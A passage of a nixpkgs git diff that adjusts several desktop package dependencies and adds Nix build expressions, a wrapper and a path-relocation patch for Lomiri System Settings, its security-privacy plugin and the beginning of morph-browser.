"sha256-7E23cgX7TkBJT/yansBfvMx0ddfAwrF7mGfqzbyLY4Q="; + sha256 = "sha256-W5PF7BPdQdg/7xJ4J+fEnuDdpoG/lyhX56RDnX2DXoY="; }; patches = [ @@ -101,7 +101,6 @@ stdenv.mkDerivation rec { glib glib-networking gnome-desktop - gnome-online-accounts gnome.adwaita-icon-theme gnome.cheese gnome.gnome-bluetooth_1_0 @@ -134,6 +133,10 @@ stdenv.mkDerivation rec { upower ]; + mesonFlags = [ + (lib.mesonBool "ssh" enableSshSocket) + ]; + preConfigure = '' # For ITS rules addToSearchPath "XDG_DATA_DIRS" "${polkit.out}/share" diff --git a/pkgs/desktops/cinnamon/cinnamon-control-center/default.nix b/pkgs/desktops/cinnamon/cinnamon-control-center/default.nix index 2328deec6a697..bf13651d1746f 100644 --- a/pkgs/desktops/cinnamon/cinnamon-control-center/default.nix +++ b/pkgs/desktops/cinnamon/cinnamon-control-center/default.nix @@ -3,6 +3,7 @@ , fetchFromGitHub , pkg-config , glib +, glib-networking , gettext , cinnamon-desktop , gtk3 @@ -47,6 +48,7 @@ stdenv.mkDerivation rec { buildInputs = [ gtk3 glib + glib-networking cinnamon-desktop libnotify cinnamon-menus diff --git a/pkgs/desktops/deepin/apps/deepin-reader/0001-build-tests-with-cpp-14.patch b/pkgs/desktops/deepin/apps/deepin-reader/0001-build-tests-with-cpp-14.patch new file mode 100644 index 0000000000000..cf88eb6db0747 --- /dev/null +++ b/pkgs/desktops/deepin/apps/deepin-reader/0001-build-tests-with-cpp-14.patch @@ -0,0 +1,13 @@ +diff --git a/tests/tests.pro b/tests/tests2.pro +index 314cad227646..48f1c66ee3f7 100644 +--- a/tests/tests.pro ++++ b/tests/tests.pro +@@ -6,7 +6,7 @@ QT += core gui sql printsupport dbus testlib widgets + #QMAKE_CXXFLAGS += -g -fsanitize=undefined,address -O2 + #QMAKE_LFLAGS += -g -fsanitize=undefined,address -O2 + +-CONFIG += c++11 link_pkgconfig resources_big testcase no_testcase_installs ++CONFIG += c++14 link_pkgconfig resources_big testcase no_testcase_installs + + #访问私有方法 -fno-access-control + QMAKE_CXXFLAGS += -g -Wall -fprofile-arcs -ftest-coverage -fno-access-control -O0 -fno-inline diff --git a/pkgs/desktops/deepin/apps/deepin-reader/default.nix b/pkgs/desktops/deepin/apps/deepin-reader/default.nix index e477917f5a1b1..0d95349bf56e4 100644 --- a/pkgs/desktops/deepin/apps/deepin-reader/default.nix +++ b/pkgs/desktops/deepin/apps/deepin-reader/default.nix @@ -31,6 +31,8 @@ stdenv.mkDerivation rec { hash = "sha256-G5UZ8lBrUo5G3jMae70p/zi9kOVqHWMNCedOy45L1PA="; }; + patches = [ ./0001-build-tests-with-cpp-14.patch ]; + # don't use vendored htmltopdf postPatch = '' substituteInPlace deepin_reader.pro \ diff --git a/pkgs/desktops/deepin/core/dde-gsettings-schemas/default.nix b/pkgs/desktops/deepin/core/dde-gsettings-schemas/default.nix index a609d707a03c6..c1a26e100a298 100644 --- a/pkgs/desktops/deepin/core/dde-gsettings-schemas/default.nix +++ b/pkgs/desktops/deepin/core/dde-gsettings-schemas/default.nix @@ -9,7 +9,6 @@ , dde-file-manager , deepin-desktop-schemas , deepin-movie-reborn -, deepin-screen-recorder , deepin-system-monitor , gsettings-desktop-schemas , extraGSettingsOverrides ? "" @@ -24,7 +23,6 @@ let dde-file-manager deepin-desktop-schemas deepin-movie-reborn - deepin-screen-recorder deepin-system-monitor gsettings-desktop-schemas # dde-appearance need org.gnome.desktop.background ] ++ extraGSettingsOverridePackages; diff --git a/pkgs/desktops/deepin/library/dtkgui/default.nix b/pkgs/desktops/deepin/library/dtkgui/default.nix index 7d21911be6b13..0094f5a305f88 100644 --- a/pkgs/desktops/deepin/library/dtkgui/default.nix +++ b/pkgs/desktops/deepin/library/dtkgui/default.nix @@ -12,8 +12,6 @@ , qtimageformats , lxqt , librsvg -, freeimage -, libraw }: stdenv.mkDerivation rec { @@ -50,8 +48,6 @@ stdenv.mkDerivation rec { qtbase lxqt.libqtxdg librsvg - freeimage - libraw ]; propagatedBuildInputs = [ diff --git a/pkgs/desktops/lomiri/applications/lomiri-system-settings/2000-Support-wrapping-for-Nixpkgs.patch b/pkgs/desktops/lomiri/applications/lomiri-system-settings/2000-Support-wrapping-for-Nixpkgs.patch new file mode 100644 index 0000000000000..8e39ea5fdfc01 --- /dev/null +++ b/pkgs/desktops/lomiri/applications/lomiri-system-settings/2000-Support-wrapping-for-Nixpkgs.patch @@ -0,0 +1,160 @@ +From 8e21cf46551091c884014985d3e0dd9704d6dc04 Mon Sep 17 00:00:00 2001 +From: OPNA2608 <opna2608@protonmail.com> +Date: Wed, 14 Feb 2024 16:00:24 +0100 +Subject: [PATCH] Support wrapping for Nixpkgs + +--- + src/CMakeLists.txt | 24 +++++++++++++++++++----- + src/main.cpp | 8 +++++--- + src/plugin.cpp | 19 +++++++++++++++++-- + tests/CMakeLists.txt | 18 ++++++++++++++---- + 4 files changed, 55 insertions(+), 14 deletions(-) + +diff --git a/src/CMakeLists.txt b/src/CMakeLists.txt +index cd3131d0..fcd78bdf 100644 +--- a/src/CMakeLists.txt ++++ b/src/CMakeLists.txt +@@ -1,13 +1,27 @@ + include_directories(${GLIB_INCLUDE_DIRS}) + +-add_definitions(-DI18N_DIRECTORY="${CMAKE_INSTALL_FULL_LOCALEDIR}") + add_definitions(-DI18N_DOMAIN="lomiri-system-settings") +-add_definitions(-DPLUGIN_PRIVATE_MODULE_DIR="${PLUGIN_PRIVATE_MODULE_DIR}") ++ ++add_definitions(-DNIX_FALLBACK_PREFIX="${CMAKE_INSTALL_PREFIX}") ++ ++set(I18N_DIRECTORY "${CMAKE_INSTALL_FULL_LOCALEDIR}") ++ ++list(APPEND NIX_LOCATION_VARIABLES ++ I18N_DIRECTORY ++ PLUGIN_PRIVATE_MODULE_DIR ++ PLUGIN_MANIFEST_DIR ++ PLUGIN_QML_DIR ++ PLUGIN_MODULE_DIR ++) ++ ++foreach(locvar IN LISTS NIX_LOCATION_VARIABLES) ++ string(REPLACE "${CMAKE_INSTALL_PREFIX}" "" NIX_${locvar}_RELATIVE "${${locvar}}") ++ add_definitions(-D${locvar}=do_not_use_me) ++ add_definitions(-DNIX_${locvar}_RELATIVE="${NIX_${locvar}_RELATIVE}") ++endforeach() ++ + add_definitions(-DMANIFEST_DIR="${MANIFEST_DIR}") +-add_definitions(-DPLUGIN_MANIFEST_DIR="${PLUGIN_MANIFEST_DIR}") + add_definitions(-DQML_DIR="${QML_DIR}") +-add_definitions(-DPLUGIN_QML_DIR="${PLUGIN_QML_DIR}") +-add_definitions(-DPLUGIN_MODULE_DIR="${PLUGIN_MODULE_DIR}") + + add_subdirectory(SystemSettings) + +diff --git a/src/main.cpp b/src/main.cpp +index 64441da3..cfcabe42 100644 +--- a/src/main.cpp ++++ b/src/main.cpp +@@ -42,6 +42,8 @@ int main(int argc, char **argv) + QByteArray mountPoint = qEnvironmentVariableIsSet("SNAP") ? qgetenv("SNAP") : ""; + bool isSnap = !mountPoint.isEmpty(); + ++ QByteArray dataPrefix = qEnvironmentVariableIsSet("NIX_LSS_PREFIX") ? qgetenv("NIX_LSS_PREFIX") : NIX_FALLBACK_PREFIX; ++ + // Ensure printing environment is correct. + qputenv("QT_PRINTER_MODULE", "cupsprintersupport"); + +@@ -78,12 +80,12 @@ int main(int argc, char **argv) + qmlRegisterType<LomiriSystemSettings::PluginManager>("SystemSettings", 1, 0, "PluginManager"); + view.engine()->rootContext()->setContextProperty("Utilities", &utils); + view.setResizeMode(QQuickView::SizeRootObjectToView); +- view.engine()->addImportPath(mountPoint + PLUGIN_PRIVATE_MODULE_DIR); +- view.engine()->addImportPath(mountPoint + PLUGIN_QML_DIR); ++ view.engine()->addImportPath(mountPoint + dataPrefix + "/" + NIX_PLUGIN_PRIVATE_MODULE_DIR_RELATIVE); ++ view.engine()->addImportPath(mountPoint + dataPrefix + "/" + NIX_PLUGIN_QML_DIR_RELATIVE); + view.rootContext()->setContextProperty("defaultPlugin", defaultPlugin); + view.rootContext()->setContextProperty("mountPoint", mountPoint); + view.rootContext()->setContextProperty("isSnap", isSnap); +- view.rootContext()->setContextProperty("i18nDirectory", mountPoint + I18N_DIRECTORY); ++ view.rootContext()->setContextProperty("i18nDirectory", mountPoint + dataPrefix + "/" + NIX_I18N_DIRECTORY_RELATIVE); + view.rootContext()->setContextProperty("pluginOptions", pluginOptions); + view.rootContext()->setContextProperty("view", &view); + view.setSource(QUrl("qrc:/qml/MainWindow.qml")); +diff --git a/src/plugin.cpp b/src/plugin.cpp +index 133821af..6a1a152c 100644 +--- a/src/plugin.cpp ++++ b/src/plugin.cpp +@@ -36,9 +36,16 @@ + #include <LomiriSystemSettings/ItemBase> + #include <LomiriSystemSettings/PluginInterface> + ++#include <libintl.h> ++ + using namespace LomiriSystemSettings; + +-static const QLatin1String pluginModuleDir{PLUGIN_MODULE_DIR}; ++const QLatin1String getWrapperPrefix() ++{ ++ const QLatin1String pluginWrapperPrefix {qEnvironmentVariableIsSet("NIX_LSS_PREFIX") ? qgetenv("NIX_LSS_PREFIX") : NIX_FALLBACK_PREFIX}; ++ return pluginWrapperPrefix; ++} ++static const QLatin1String pluginModuleDirRelative{NIX_PLUGIN_MODULE_DIR_RELATIVE}; + static const QLatin1String pluginQmlDir{QML_DIR}; + + namespace LomiriSystemSettings { +@@ -89,6 +96,11 @@ PluginPrivate::PluginPrivate(Plugin *q, const QFileInfo &manifest): + + m_data = json.toVariant().toMap(); + m_dataPath = manifest.absolutePath(); ++ ++ QString textDomain = m_data.value(keyTranslations).toString(); ++ QString textDomainDir = QString("%1/%2") ++ .arg(getWrapperPrefix()).arg(NIX_I18N_DIRECTORY_RELATIVE); ++ bindtextdomain(qPrintable(textDomain), qPrintable(textDomainDir)); + } + + bool PluginPrivate::ensureLoaded() const +@@ -110,8 +122,11 @@ bool PluginPrivate::ensureLoaded() const + ctx->contextProperty("mountPoint").value<QByteArray>() : + ""; + ++ QString wrapperModuleDir = QString("%1/%2") ++ .arg(getWrapperPrefix()).arg(pluginModuleDirRelative); ++ + QString name = QString("%1%2/lib%3.so") +- .arg(mountPoint).arg(pluginModuleDir).arg(plugin); ++ .arg(mountPoint).arg(wrapperModuleDir).arg(plugin); + + m_loader.setFileName(name); + if (Q_UNLIKELY(!m_loader.load())) { +diff --git a/tests/CMakeLists.txt b/tests/CMakeLists.txt +index c10b2e2d..a998b641 100644 +--- a/tests/CMakeLists.txt ++++ b/tests/CMakeLists.txt +@@ -9,13 +9,23 @@ include_directories( + set(XVFB_CMD xvfb-run -a -s "-screen 0 640x480x24") + + add_definitions(-DI18N_DOMAIN="lomiri-system-settings") +-add_definitions(-DPLUGIN_PRIVATE_MODULE_DIR="${PLUGIN_PRIVATE_MODULE_DIR}") +-add_definitions(-DPLUGIN_MODULE_DIR="${CMAKE_CURRENT_BINARY_DIR}") ++ ++add_definitions(-DNIX_FALLBACK_PREFIX="${CMAKE_CURRENT_BINARY_DIR}") ++ ++add_definitions(-DI18N_DIRECTORY=do_not_use_me) ++add_definitions(-DNIX_I18N_DIRECTORY_RELATIVE="") ++add_definitions(-DPLUGIN_PRIVATE_MODULE_DIR=do_not_use_me) ++add_definitions(-DNIX_PLUGIN_PRIVATE_MODULE_DIR_RELATIVE="") ++add_definitions(-DPLUGIN_MODULE_DIR=do_not_use_me) ++add_definitions(-DNIX_PLUGIN_MODULE_DIR_RELATIVE="") ++add_definitions(-DPLUGIN_MANIFEST_DIR=do_not_use_me) ++add_definitions(-DNIX_PLUGIN_MANIFEST_DIR_RELATIVE="../../tests/data") ++add_definitions(-DPLUGIN_QML_DIR=do_not_use_me) ++add_definitions(-DNIX_PLUGIN_QML_DIR_RELATIVE="") ++ + add_definitions(-DMANIFEST_DIR="data") +-add_definitions(-DPLUGIN_MANIFEST_DIR="${CMAKE_CURRENT_SOURCE_DIR}/data") + add_definitions(-DQML_TEST_DIR="${CMAKE_CURRENT_SOURCE_DIR}") + add_definitions(-DQML_DIR="${CMAKE_CURRENT_BINARY_DIR}") +-add_definitions(-DPLUGIN_QML_DIR="${CMAKE_CURRENT_BINARY_DIR}") + add_definitions(-DSYSTEM_IMAGE_DBUS_TEMPLATE="${CMAKE_SOURCE_DIR}/tests/autopilot/lomiri_system_settings/tests/systemimage.py") + + add_library(test-plugin SHARED test-plugin.cpp test-plugin.h) +-- +2.42.0 + diff --git a/pkgs/desktops/lomiri/applications/lomiri-system-settings/default.nix b/pkgs/desktops/lomiri/applications/lomiri-system-settings/default.nix new file mode 100644 index 0000000000000..82ffce3fd2471 --- /dev/null +++ b/pkgs/desktops/lomiri/applications/lomiri-system-settings/default.nix @@ -0,0 +1,253 @@ +{ stdenv +, lib +, fetchFromGitLab +, fetchpatch +, gitUpdater +, testers +, accountsservice +, ayatana-indicator-datetime +, cmake +, cmake-extras +, content-hub +, dbus +, deviceinfo +, geonames +, gettext +, glib +, gnome-desktop +, gsettings-qt +, gtk3 +, icu +, intltool +, json-glib +, libqofono +, libqtdbustest +, libqtdbusmock +, lomiri-indicator-network +, lomiri-schemas +, lomiri-settings-components +, lomiri-ui-toolkit +, maliit-keyboard +, pkg-config +, python3 +, qmenumodel +, qtbase +, qtdeclarative +, qtmultimedia +, ubports-click +, upower +, validatePkgConfig +, wrapGAppsHook +, wrapQtAppsHook +, xvfb-run +}: + +stdenv.mkDerivation (finalAttrs: { + pname = "lomiri-system-settings-unwrapped"; + version = "1.0.2"; + + src = fetchFromGitLab { + owner = "ubports"; + repo = "development/core/lomiri-system-settings"; + rev = finalAttrs.version; + hash = "sha256-gi6ZujIs0AEDLsqcTNlRNSS8SyqEU6q0+xaDf55XwuM="; + }; + + outputs = [ + "out" + "dev" + ]; + + patches = [ + # Remove when https://gitlab.com/ubports/development/core/lomiri-system-settings/-/merge_requests/433 merged & in release + (fetchpatch { + name = "0001-lomiri-system-settings-plugins-language-Fix-linking-against-accountsservice.patch"; + url = "https://gitlab.com/ubports/development/core/lomiri-system-settings/-/commit/75763ae2f9669f5f7f29aec3566606e6f6cb7478.patch"; + hash = "sha256-2CE0yizkaz93kK82DhaaFjKmGnMoaikrwFj4k7RN534="; + }) + + # Remove when https://gitlab.com/ubports/development/core/lomiri-system-settings/-/merge_requests/434 merged & in release + (fetchpatch { + name = "0002-lomiri-system-settings-GNUInstallDirs-and-fix-absolute-path-handling.patch"; + url = "https://gitlab.com/ubports/development/core/lomiri-system-settings/-/commit/93ee84423f3677a608ef73addcd3ddcbe7dc1d32.patch"; + hash = "sha256-lSKAhtE3oSSv7USvDbbcfBZWAtWMmuKneWawKQABIiM="; + }) + + # Remove when version > 1.0.2 + (fetchpatch { + name = "0003-lomiri-system-settings-Use-GSettings-for-DT2W-value.patch"; + url = "https://gitlab.com/ubports/development/core/lomiri-system-settings/-/commit/29e2533efcac23e41b083b11c540c9221b71de7e.patch"; + hash = "sha256-d52d/b1ZdafaqhOljCg5E3I12XWtFAfG4rmn8CYngB4="; + }) + ] ++ lib.optionals (lib.strings.versionOlder python3.pkgs.python-dbusmock.version "0.30.1") [ + # Makes tests work with newer dbusmock, but breaks with much-newer dbusmock + # See for details: + # - https://gitlab.com/ubports/development/core/lomiri-system-settings/-/merge_requests/354 + # - https://gitlab.com/ubports/development/core/lomiri-system-settings/-/merge_requests/426 + # Remove/adjust based on merges & next LSS release, and packaged version of dbusmock + (fetchpatch { + name = "0101-lomiri-system-settings-Pass-missing-parameters-to-dbusmock.patch"; + url = "https://gitlab.com/ubports/development/core/lomiri-system-settings/-/commit/b9aacd88e3789dbb7578f32b31ad5b239db227a2.patch"; + hash = "sha256-jf+jMc+6QxONavlX5C9UZyX23jb6fZnYV8mWFyQGGbU="; + }) + (fetchpatch { + name = "0102-lomiri-system-settings-Fix-BT-plugin-testIsPaired.patch"; + url = "https://gitlab.com/ubports/development/core/lomiri-system-settings/-/commit/e39b9728e18635413f07f9c9f6ddc73208260b2a.patch"; + hash = "sha256-YUtdlQ2XcanXzsxD40SbML7fSxG75yMKz/XnaQN9YP8="; + }) + (fetchpatch { + name = "0103-lomiri-system-settings-Fix-BT-plugin-testGet-IconName-Type.patch"; + url = "https://gitlab.com/ubports/development/core/lomiri-system-settings/-/commit/9ad5d9324945f06f764d3a963dbfc7bccefe574b.patch"; + # Merge conflict, relevant change handled further down + excludes = [ "CMakeLists.txt" ]; + hash = "sha256-QCgkVos9Q9/8jd25rqzdEKdnBw0Re47X7B9nLH8QOQU="; + }) + ] ++ [ + + ./2000-Support-wrapping-for-Nixpkgs.patch + + # Make it work with regular accountsservice + # https://gitlab.com/ubports/development/core/lomiri-system-settings/-/issues/341 + (fetchpatch { + name = "2001-lomiri-system-settings-disable-current-language-switching.patch"; + url = "https://sources.debian.org/data/main/l/lomiri-system-settings/1.0.1-2/debian/patches/2001_disable-current-language-switching.patch"; + hash = "sha256-ZOFYwxS8s6+qMFw8xDCBv3nLBOBm86m9d/VhbpOjamY="; + }) + ]; + + postPatch = '' + substituteInPlace CMakeLists.txt \ + --replace-fail "\''${CMAKE_INSTALL_LIBDIR}/qt5/qml" "\''${CMAKE_INSTALL_PREFIX}/${qtbase.qtQmlPrefix}" \ + + # Port from lomiri-keyboard to maliit-keyboard + substituteInPlace plugins/language/CMakeLists.txt \ + --replace-fail 'LOMIRI_KEYBOARD_PLUGIN_PATH=\"''${CMAKE_INSTALL_FULL_LIBDIR}/lomiri-keyboard/plugins\"' 'LOMIRI_KEYBOARD_PLUGIN_PATH=\"${lib.getLib maliit-keyboard}/lib/maliit/keyboard2/languages\"' + substituteInPlace plugins/language/{PageComponent,SpellChecking,ThemeValues}.qml plugins/language/onscreenkeyboard-plugin.cpp plugins/sound/PageComponent.qml \ + --replace-fail 'com.lomiri.keyboard.maliit' 'org.maliit.keyboard.maliit' + + # Decide which entries should be visible based on the current system + substituteInPlace plugins/*/*.settings \ + --replace-warn '/etc' '/run/current-system/sw/etc' + + # Don't use absolute paths in desktop file + substituteInPlace lomiri-system-settings.desktop.in.in \ + --replace-fail 'Icon=@SETTINGS_SHARE_DIR@/system-settings.svg' 'Icon=lomiri-system-settings' \ + --replace-fail 'X-Lomiri-Splash-Image=@SETTINGS_SHARE_DIR@/system-settings-app-splash.svg' 'X-Lomiri-Splash-Image=lomiri-app-launch/splash/lomiri-system-settings.svg' \ + --replace-fail 'X-Screenshot=@SETTINGS_SHARE_DIR@/screenshot.png' 'X-Screenshot=lomiri-app-launch/screenshot/lomiri-system-settings.png' + ''; + + strictDeps = true; + + nativeBuildInputs = [ + cmake + gettext + glib # glib-compile-schemas + intltool + pkg-config + validatePkgConfig + ]; + + buildInputs = [ + accountsservice + cmake-extras + deviceinfo + geonames + gnome-desktop + gsettings-qt + gtk3 + icu + json-glib + qtbase + ubports-click + upower + ]; + + # QML components and schemas the wrapper needs + propagatedBuildInputs = [ + ayatana-indicator-datetime + content-hub + libqofono + lomiri-indicator-network + lomiri-schemas + lomiri-settings-components + lomiri-ui-toolkit + maliit-keyboard + qmenumodel + qtdeclarative + qtmultimedia + ]; + + nativeCheckInputs = [ + dbus + (python3.withPackages (ps: with ps; [ + python-dbusmock + ])) + xvfb-run + ]; + + checkInputs = [ + libqtdbustest + libqtdbusmock + ]; + + # Not wrapping in this derivation + dontWrapQtApps = true; + + cmakeFlags = [ + (lib.cmakeBool "ENABLE_LIBDEVICEINFO" true) + (lib.cmakeBool "ENABLE_TESTS" finalAttrs.finalPackage.doCheck) + (lib.cmakeFeature "CMAKE_CTEST_ARGUMENTS" (lib.concatStringsSep ";" [ + # Exclude tests + "-E" (lib.strings.escapeShellArg "(${lib.concatStringsSep "|" [ + # Hits OpenGL context issue inside lomiri-ui-toolkit, see derivation of that on details + "^testmouse" + "^tst_notifications" + ]})") + ])) + ]; + + # CMake option had to be excluded from earlier patchset + env.NIX_CFLAGS_COMPILE = lib.optionalString (lib.strings.versionOlder python3.pkgs.python-dbusmock.version "0.30.1") "-DMODERN_PYTHON_DBUSMOCK"; + + # The linking for this normally ignores missing symbols, which is inconvenient for figuring out why subpages may be + # failing to load their library modules. Force it to report them at linktime instead of runtime. + env.NIX_LDFLAGS = "--unresolved-symbols=report-all"; + + doCheck = stdenv.buildPlatform.canExecute stdenv.hostPlatform; + + # Parallelism breaks D-Bus tests + enableParallelChecking = false; + + preCheck = '' + export QT_PLUGIN_PATH=${lib.getBin qtbase}/${qtbase.qtPluginPrefix} + export QML2_IMPORT_PATH=${lib.makeSearchPathOutput "bin" qtbase.qtQmlPrefix ([ qtdeclarative lomiri-ui-toolkit lomiri-settings-components ] ++ lomiri-ui-toolkit.propagatedBuildInputs)} + ''; + + postInstall = '' + glib-compile-schemas $out/share/glib-2.0/schemas + + mkdir -p $out/share/{icons/hicolor/scalable/apps,lomiri-app-launch/{splash,screenshot}} + + ln -s $out/share/lomiri-system-settings/system-settings.svg $out/share/icons/hicolor/scalable/apps/lomiri-system-settings.svg + ln -s $out/share/lomiri-system-settings/system-settings-app-splash.svg $out/share/lomiri-app-launch/splash/lomiri-system-settings.svg + ln -s $out/share/lomiri-system-settings/screenshot.png $out/share/lomiri-app-launch/screenshot/lomiri-system-settings.png + ''; + + passthru = { + tests.pkg-config = testers.testMetaPkgConfig finalAttrs.finalPackage; + updateScript = gitUpdater { }; + }; + + meta = with lib; { + description = "System Settings application for Lomiri"; + homepage = "https://gitlab.com/ubports/development/core/lomiri-system-settings"; + changelog = "https://gitlab.com/ubports/development/core/lomiri-system-settings/-/blob/${finalAttrs.version}/ChangeLog"; + license = licenses.gpl3Only; + mainProgram = "lomiri-system-settings"; + maintainers = teams.lomiri.members; + platforms = platforms.linux; + pkgConfigModules = [ + "LomiriSystemSettings" + ]; + }; +}) diff --git a/pkgs/desktops/lomiri/applications/lomiri-system-settings/plugins/lomiri-system-settings-security-privacy.nix b/pkgs/desktops/lomiri/applications/lomiri-system-settings/plugins/lomiri-system-settings-security-privacy.nix new file mode 100644 index 0000000000000..29a10f12a829e --- /dev/null +++ b/pkgs/desktops/lomiri/applications/lomiri-system-settings/plugins/lomiri-system-settings-security-privacy.nix @@ -0,0 +1,89 @@ +{ stdenv +, lib +, fetchFromGitLab +, biometryd +, cmake +, libqtdbusmock +, libqtdbustest +, lomiri-system-settings-unwrapped +, pkg-config +, polkit +, python3 +, qtbase +, qtdeclarative +, trust-store +, xvfb-run +}: + +stdenv.mkDerivation (finalAttrs: { + pname = "lomiri-system-settings-security-privacy"; + version = "1.0.2"; + + src = fetchFromGitLab { + owner = "ubports"; + repo = "development/core/lomiri-system-settings-security-privacy"; + rev = finalAttrs.version; + hash = "sha256-d7OgxV362gJ3t5N+DEFgwyK+m6Ij6juRPuxfmbCg68Y="; + }; + + postPatch = '' + # CMake pkg_get_variable cannot replace prefix variable yet + for pcvar in plugin_manifest_dir plugin_private_module_dir plugin_qml_dir; do + pcvarname=$(echo $pcvar | tr '[:lower:]' '[:upper:]') + substituteInPlace CMakeLists.txt \ + --replace-fail "pkg_get_variable($pcvarname LomiriSystemSettings $pcvar)" "set($pcvarname $(pkg-config LomiriSystemSettings --define-variable=prefix=$out --define-variable=libdir=$out/lib --variable=$pcvar))" + done + ''; + + strictDeps = true; + + nativeBuildInputs = [ + cmake + pkg-config + python3 + ]; + + buildInputs = [ + lomiri-system-settings-unwrapped + polkit + qtbase + qtdeclarative + trust-store + ]; + + # QML components and schemas the wrapper needs + propagatedBuildInputs = [ + biometryd + ]; + + nativeCheckInputs = [ + xvfb-run + ]; + + checkInputs = [ + libqtdbusmock + libqtdbustest + ]; + + # Plugin library & modules for LSS + dontWrapQtApps = true; + + cmakeFlags = [ + (lib.cmakeBool "ENABLE_TESTS" finalAttrs.finalPackage.doCheck) + ]; + + doCheck = stdenv.buildPlatform.canExecute stdenv.hostPlatform; + + preCheck = '' + export QT_PLUGIN_PATH=${lib.getBin qtbase}/${qtbase.qtPluginPrefix} + ''; + + meta = with lib; { + description = "Security and privacy settings plugin for Lomiri system settings"; + homepage = "https://gitlab.com/ubports/development/core/lomiri-system-settings-security-privacy"; + changelog = "https://gitlab.com/ubports/development/core/lomiri-system-settings-security-privacy/-/blob/${finalAttrs.version}/ChangeLog"; + license = licenses.gpl3Only; + maintainers = teams.lomiri.members; + platforms = platforms.linux; + }; +}) diff --git a/pkgs/desktops/lomiri/applications/lomiri-system-settings/wrapper.nix b/pkgs/desktops/lomiri/applications/lomiri-system-settings/wrapper.nix new file mode 100644 index 0000000000000..74767f41d9ecb --- /dev/null +++ b/pkgs/desktops/lomiri/applications/lomiri-system-settings/wrapper.nix @@ -0,0 +1,70 @@ +{ stdenvNoCC +, lib +, nixosTests +, glib +, lndir +, lomiri-system-settings-unwrapped +, lomiri-system-settings-security-privacy +, wrapGAppsHook +, wrapQtAppsHook +, plugins ? [ lomiri-system-settings-security-privacy ] +}: + +stdenvNoCC.mkDerivation (finalAttrs: { + pname = "lomiri-system-settings"; + inherit (lomiri-system-settings-unwrapped) version; + + dontUnpack = true; + dontConfigure = true; + dontBuild = true; + + strictDeps = true; + + nativeBuildInputs = [ + lndir + wrapGAppsHook + wrapQtAppsHook + ]; + + buildInputs = [ + glib # schema hook + lomiri-system-settings-unwrapped + ] ++ plugins; + + installPhase = '' + runHook preInstall + + mkdir -p $out/bin + ln -s ${lib.getExe lomiri-system-settings-unwrapped} $out/bin/${finalAttrs.meta.mainProgram} + + for inheritedPath in share/lomiri-app-launch share/lomiri-url-dispatcher share/applications share/icons; do + mkdir -p $out/$inheritedPath + lndir ${lomiri-system-settings-unwrapped}/$inheritedPath $out/$inheritedPath + done + + for mergedPath in lib/lomiri-system-settings share/lomiri-system-settings share/locale; do + mkdir -p $out/$mergedPath + for lssPart in ${lomiri-system-settings-unwrapped} ${lib.strings.concatStringsSep " " plugins}; do + lndir $lssPart/$mergedPath $out/$mergedPath + done + done + + runHook postInstall + ''; + + dontWrapGApps = true; + + preFixup = '' + qtWrapperArgs+=( + "''${gappsWrapperArgs[@]}" + --set NIX_LSS_PREFIX "$out" + ) + ''; + + passthru.tests.standalone = nixosTests.lomiri-system-settings; + + meta = lomiri-system-settings-unwrapped.meta // { + description = "System Settings application for Lomiri (wrapped)"; + priority = (lomiri-system-settings-unwrapped.meta.priority or 0) - 1; + }; +}) diff --git a/pkgs/desktops/lomiri/applications/morph-browser/default.nix b/pkgs/desktops/lomiri/applications/morph-browser/default.nix new file mode 100644 index 0000000000000..910008136d7ee --- /dev/null +++ b/pkgs/desktops/lomiri/applications/morph-browser/default.nix @@ -0,0 +1,139 @@ +{ stdenv +, lib +, fetchFromGitLab +, fetchpatch +, gitUpdater +, nixosTests +, cmake +, content-hub +, gettext +, libapparmor +, lomiri-action-api +, lomiri-ui-extras +, lomiri-ui-toolkit +, pkg-config +, qqc2-suru-style +, qtbase +, qtdeclarative +, qtquickcontrols2 +, qtsystems +, qtwebengine +, wrapQtAppsHook +, xvfb-run +}: + +let + listToQtVar = suffix: lib.makeSearchPathOutput "bin" suffix; +in +stdenv.mkDerivation (finalAttrs: { + pname = "morph-browser"; + version = "1.1.0"; + + src = fetchFromGitLab { + owner = "ubports"; + repo = "development/core/morph-browser"; + rev = finalAttrs.version; + hash = "sha256-C5iXv8VS8Mm1ryxK7Vi5tVmiM01OSIFiTyH0vP9B/xA="; + }; + + patches = [ + # Remove when https://gitlab.com/ubports/development/core/morph-browser/-/merge_requests/575 merged & in release + (fetchpatch { + name = "0001-morph-browser-tst_SessionUtilsTests-Set-permissions-on-temporary-xdg-runtime-directory.patch"; + url = "https://gitlab.com/ubports/development/core/morph-browser/-/commit/e90206105b8b287fbd6e45ac37ca1cd259981928.patch"; + hash = "sha256-5htFn+OGVVBn3mJQaZcF5yt0mT+2QRlKyKFesEhklfA="; + }) + + # Remove when https://gitlab.com/ubports/development/core/morph-browser/-/merge_requests/576 merged & in release + (fetchpatch { + name = "0002-morph-browser-Call-i18n-bindtextdomain-with-buildtime-determined-locale-path.patch"; + url = "https://gitlab.com/ubports/development/core/morph-browser/-/commit/0527a1e01fb27c62f5e0011274f73bad400e9691.patch"; + hash = "sha256-zx/pP72uNqAi8TZR4bKeONuqcJyK/vGtPglTA+5R5no="; + }) + ]; + + postPatch = '' + substituteInPlace src/{Morph,Ubuntu}/CMakeLists.txt \ + --replace '/usr/lib/''${CMAKE_LIBRARY_ARCHITECTURE}/qt5/qml' "\''${CMAKE_INSTALL_PREFIX}/${qtbase.qtQmlPrefix}" + + # Don't use absolute paths in desktop file + substituteInPlace src/app/webbrowser/morph-browser.desktop.in.in \ + --replace 'Icon=@CMAKE_INSTALL_FULL_DATADIR@/morph-browser/morph-browser.svg' 'Icon=morph-browser' \ + --replace 'X-Lomiri-Splash-Image=@CMAKE_INSTALL_FULL_DATADIR@/morph-browser/morph-browser-splash.svg' 'X-Lomiri-Splash-Image=lomiri-app-launch/splash/morph-browser.svg' + '' + lib.optionalString (!finalAttrs.doCheck) '' + substituteInPlace CMakeLists.txt \ + --replace 'add_subdirectory(tests)' "" + ''; + + strictDeps = true; + + nativeBuildInputs = [ + cmake + gettext + pkg-config + wrapQtAppsHook + ]; + + buildInputs = [ + libapparmor + qtbase + qtdeclarative + qtwebengine + + # QML + content-hub + lomiri-action-api + lomiri-ui-extras + lomiri-ui-toolkit + qqc2-suru-style + qtquickcontrols2 + qtsystems + ]; + + nativeCheckInputs = [ + xvfb-run + ]; + + cmakeFlags = [ + (lib.cmakeFeature "CMAKE_CTEST_ARGUMENTS" (lib.concatStringsSep ";" [ + # Exclude tests + "-E" (lib.strings.escapeShellArg "(${lib.concatStringsSep "|" [ + # Don't care about linter failures + "^flake8" + + # Runs into ShapeMaterial codepath in lomiri-ui-toolkit which needs OpenGL, see LUITK for 